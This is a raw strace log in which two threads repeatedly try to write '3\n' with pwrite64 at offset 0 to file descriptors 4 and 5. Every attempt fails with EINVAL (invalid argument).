[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid  5872] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] <... pwrite64 resumed>)     = -1 EINVAL (Invalid argument)
[pid  5871] pwrite64(4, "3\n", 2, 0)    = -1 EINVAL (Invalid argument)
